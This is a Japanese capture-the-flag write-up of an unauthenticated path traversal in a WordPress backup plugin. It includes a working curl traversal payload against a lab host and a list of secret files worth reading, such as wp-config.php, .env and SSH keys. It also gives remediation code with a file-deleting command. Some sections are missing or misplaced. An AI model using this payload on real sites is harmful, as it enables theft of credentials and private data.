`page=backup_manager` はリクエストをプラグインの管理ページハンドラにルーティングします。`download_backup_file` はプラグインのコードが直接読み取り、検証なしにファイルシステムパスへ連結するパラメータであり、ディレクトリトラバーサルを許容します。

---

### CVSS v3.1 スコア

**7.5 - HIGH** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

- **攻撃ベクトル (AV):** ネットワーク
- **攻撃の複雑さ (AC):** 低
- **必要な特権 (PR):** なし
- **ユーザー操作 (UI):** なし
- **スコープ (S):** 変更なし
- **機密性 (C):** 高
- **完全性 (I):** なし
- **可用性 (A):** なし

---

### ビジネスへの影響

**機密性の侵害:** ⚠️ CRITICAL

攻撃者は、Webサーバーがアクセス可能な任意のファイルを読み取ることができます。例:

| ファイル | 影響 | リスクレベル |
|------|--------|------------|
| `/wp-config.php` | データベース認証情報、ソルト、キー | 🔴 CRITICAL |
| `/.env` | APIキー、シークレット、設定 | 🔴 CRITICAL |
| `/etc/passwd` | ユーザー列挙、システムマッピング | 🟠 HIGH |
| SSHキー (`.ssh/id_rsa`) | 横展開、システムアクセス | 🔴 CRITICAL |
| `/proc/self/environ` | 実行中アプリケーションのシークレット | 🟠 HIGH |
| ユーザーアップロードディレクトリ | プライベートファイル、メディア | 🟠 HIGH |

**規制上の影響:**
- **GDPR違反:** ユーザーデータへの不正アクセス
- **HIPAA違反:** 保護された健康情報の露出
- **PCI-DSS違反:** クレジットカードデータまたは支払い情報へのアクセス
- **SOC 2違反:** 機密性要件の違反

---

### 脆弱なコードパターン

Exploit-DBアドバイザリ（39883.txt、`searchsploit -x` で参照 — [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png) を参照）は、`simple-backup-manager.php` のプラグインの **delete** プリミティブを文書化しています:```php
if(array_key_exists('delete_backup_file', $_GET)){
    $this->delete_local_backup_file($_GET['delete_backup_file']);
}

`$filename` は `$_GET['delete_backup_file']` から直接取得され、`basename()` やパス包含チェックは一切行われません。`../pizza.txt` を渡すと、`$bk_dir . $filename` は `.../simple-backup/../pizza.txt` → `.../pizza.txt` に解決され、意図されたバックアップフォルダの外に出てしまいます。

実際にこのエンゲージメントで悪用された**ダウンロード**プリミティブ（`download_backup_file`）は、同じプラグイン内でまったく同じサニタイズされていない連結パターンに従いますが、ファイルを削除する代わりにリクエスタにファイルを返します。これにより、ファイルシステムルートから `/flag.txt` を取得できました（`ABSPATH/simple-backup/` から `../` を10回）。

**問題点：**
- `basename()` を使用してディレクトリ要素を除去していない
- 許可ファイルのホワイトリストがない
- `realpath()` が `ABSPATH."simple-backup/"` 内に留まることを検証していない
- ユーザー入力をファイルパスに直接連結している
- ファイルを提供する前に `current_user_can()` / 認証チェックがない — ハンドラはプラグインのロード時に実行され、WordPress 自身の `wp-admin` 認証ゲートより前に動作するため、**ログインしていなくても**到達可能です

---

### 概念実証

#### **フェーズ 1: 初期アクセス — アプリケーション特定**

ブラウザ経由でターゲットに直接接続しました（`http://154.57.164.73:30706/`）。WordPress インストールのタイトルは **"GETTING STARTED"** で、ホームページの公開ブログ投稿には、プラグイン名とバージョンがプレーンテキストで正確に開示されています：**"Simple Backup Plugin 2.7.10 for WordPress"** — 脆弱なコンポーネントを特定するために列挙ツールは不要でした。

![初期アクセス - WordPress ホームページで開示されたプラグインバージョン](https://assets.kitploit.com/production/public/readmes/51282/807a6be937aeb55de6f3c60b479762729a056e9134edd0f8bf3a0779b36b854f/46c8a8c16d715251f282bacf2522c3e620864b14008847867c32672ba0d051fd-display-v1.webp)

#### **フェーズ 2: サービスフィンガープリンティング**```bash
whatweb http://154.57.164.73:30706/

**結果:**```
Exploit Title                                              |  Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

このアドバイザリは、`delete_backup_file` パラメータを介した認証不要の **任意のファイル削除** について文書化しており、`simple-backup/` 配下のバックアップファイル（また、同じ無害化されていないコードパスを介して、`download_backup_file` による任意のファイル）が認証なしで取得できることに言及しています。

![Vulnerability Research - Exploit-DB PoC 39883.txt read via searchsploit -x](https://assets.kitploit.com/production/public/readmes/51282/8d2f7a41935c4f9ebf4df1243ee68ba0628592b26411770696534eaa903851c4/7e636497c5d9d7382c9b0d7d5917938a399cf76f014b6e5fb754400078325e54-display-v1.webp)

#### **フェーズ 4: 悪用 — `download_backup_file` を介したパストラバーサル**

プラグインの管理ページのルーティングから特定された脆弱なエンドポイント:```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=

**GUI (この評価で使用):** ペイロードURLはブラウザのアドレスバーに直接入力してナビゲートしました。ログインは不要でした — ブラウザは解決された `flag.txt` の自動ダウンロードを開始しました。

![エクスプロイト - ブラウザのアドレスバーに入力されたパストラバーサルペイロード、flag.txtがダウンロードされました](https://assets.kitploit.com/production/public/readmes/51282/c02c8273770253f4f0c3b79c0e4de1ab7b8190bfdbbec554a90a25e22553a635/6d1a521bdea2df6ba65e17df783d9f81ea3da096daba3f9bde02bece60a8e406-display-v1.webp)

**ヘッドレス相当:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt

---

### 影響の検証

✅ **機密性の侵害:** Webサーバープロセスが読み取り可能なファイルはすべてアクセス可能
✅ **認証不要:** 未認証のユーザーが悪用可能
✅ **ユーザー操作不要:** 直接のHTTPリクエストによる悪用
✅ **再現性と信頼性:** すべての脆弱性のあるバージョンで動作
✅ **重要なビジネスデータが危険にさらされる:** 設定ファイル、認証情報、ユーザーデータが公開される

---

## 修復策

### **オプション1: 入力ホワイトリスト（推奨）**

事前に定義されたファイルリストからのみダウンロードを許可します:```php
<?php
// Define allowed backup files
$allowed_files = array(
    'backup_2024_01_15.zip',
    'backup_2024_01_16.zip',
    'backup_2024_01_17.zip',
);

$requested_file = $_GET['download_backup_file'];

// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
    die("File not found or access denied");
}

// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

**利点：**
- シンボリックリンクと複雑なパスを処理します
- 包含を自動的に検証します
- ホワイトリストより柔軟

---

### **オプション 3: ファイル名のみに basename() を使用する**

ファイル名のコンポーネントのみを抽出します:```php
<?php
$user_input = $_GET['download_backup_file'];

// Remove all directory components
$file = basename($user_input);

// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists
if (!file_exists($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

**ファイルシステムの権限:**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/

# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php

# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads

**更新管理:**

1. Simple Backupプラグインを無効化または削除する
2. セキュリティ監査済みの承認されたバックアップソリューションをインストールする
3. WordPressを最新バージョンに更新する
4. すべてのプラグインを最新バージョンに更新する
5. PHPをセキュリティパッチ適用済みの8.0+に更新する

---

## 攻撃チェーン```
┌─────────────────────────────────────────────────────────────┐
│  1. INITIAL ACCESS                                          │
│  └─ Browse to 154.57.164.73:30706                           │
│  └─ WordPress "GETTING STARTED" site identified              │
│  └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  2. ENUMERATION                                             │
│  └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  3. VULNERABILITY RESEARCH                                  │
│  └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns)    │
│  └─ searchsploit -x → read PoC, identify unsanitized         │
│     delete_backup_file / download_backup_file parameters     │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  4. EXPLOITATION                                             │
│  └─ Endpoint: /wp-admin/tools.php?page=backup_manager        │
│  └─ Payload: download_backup_file=../..(x10)../flag.txt      │
│  └─ Browser navigates to payload URL (no login required)     │
│  └─ Plugin resolves path to /flag.txt and serves it          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  5. SUCCESS                                                 │
│  └─ Flag Retrieved: HTB{my_f1r57_h4ck}                       │
│  └─ Confidentiality Breached                                 │
│  └─ Unauthenticated arbitrary file read confirmed             │
└─────────────────────────────────────────────────────────────┘